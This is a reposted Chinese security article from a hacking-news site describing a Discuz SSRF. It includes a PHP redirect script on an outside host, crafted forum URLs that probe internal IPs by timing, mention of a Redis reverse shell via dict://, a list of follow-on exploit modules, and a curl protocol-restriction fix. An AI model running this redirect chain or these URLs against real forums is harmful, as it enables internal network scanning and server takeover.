欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

SSRF到GET SHELL

来源:http://wufeifei.com/ 作者:佚名 时间:2016-07-19 TAG: 我要投稿

 利用@Jannock发现的Discuz中存在一处SSRF,再加上@猪猪侠的利用姿势即可GET SHELL。

漏洞影响

只要有一处SSRF(此处用Discuz代替),既有可能造成GET SHELL,获取服务器所有权限。

Discuz的一处SSRF

Discuz代码中存在一处远程下载图片的action 
source/module/forum/forum_ajax.php

if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) {  
    $content = dfsockopen($imageurl);
} elseif(preg_match('/^('.preg_quote(getglobal('setting/attachurl'), '/').')/i', $imageurl)) {
    $imagereplace['newimageurl'][] = $value[0];
}

如果$imageurl是http开头的,则使用dfsockopen远程访问该链接的图片。

那么就可以通过301跳转到一个内网服务上,用来探测内网信息。

构造探测图片

通过构造一个远程的伪图片

http://feei.cn/301.php  

301.php

<?php

$ip = $_GET['ip'];

$port = $_GET['port'];

$scheme = $_GET['s'];

$data = $_GET['data'];

header("Location: $scheme://$ip:$port/$data");

?>

构造一个跳转到dict://10.11.2.220:80/helo.jpg

http://feei.cn/301.php?s=dict&ip=10.11.2.220&port=80&data=helo.jpg  

我们让其301到一个内网ip的80端口,然后根据整个请求完成的时间不同来判定该服务是否存在,构造链接如下

http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=

http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=  

上面链接请求10.11.2.220的80服务只需要100ms,10.11.2.221不存在80服务,返回使用了6s

GETSHELL

除了能探测80服务,我们还可以通过dict协议来探测内网匿名redis服务以及写redis拿到反弹shell dict://10.11.2.220:6379

探测FTP ftp://10.11.2.220:21

其它服务利用方式
redis.py  
jboss.py  
shellshock.py  
axis2.py  
jdwp.py  
smtp.py  
confluence.py  
jenkins.py  
struts.py  
couchdb.py  
mongodb.py  
tftp.py  
docker.py  
phpcgi.py  
tomcat.py  
elasticsearch.py  
pop.py  
webdav.py  
ftp.py  
portscan.py  
websphere.py  
gopher.py  
pstack.py  
zentaopms.py  
hfs.py  
解决方案

大部分请求外部资源底层都是基于curl,curl默认支持dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp这些协议

$ curl -V
curl 7.47.1 (x86_64-apple-darwin15.3.0) libcurl/7.47.1 OpenSSL/1.0.2g zlib/1.2.8  
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp  
Features: IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets  

所以只需要通过配置curl禁止使用除http/https以外其它协议即可解决该问题

source/function/function_filesock.php  

在_dfsockopen方法内增加

curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);  
验证修复

在一台内网服务器(10.11.2.220)上开启一个8080端口

python -m SimpleHTTPServer 8080  

然后访问触发SSRF的地址

http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=  

查看是否有请求的回显,没有则说明修复好了

Reference
【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载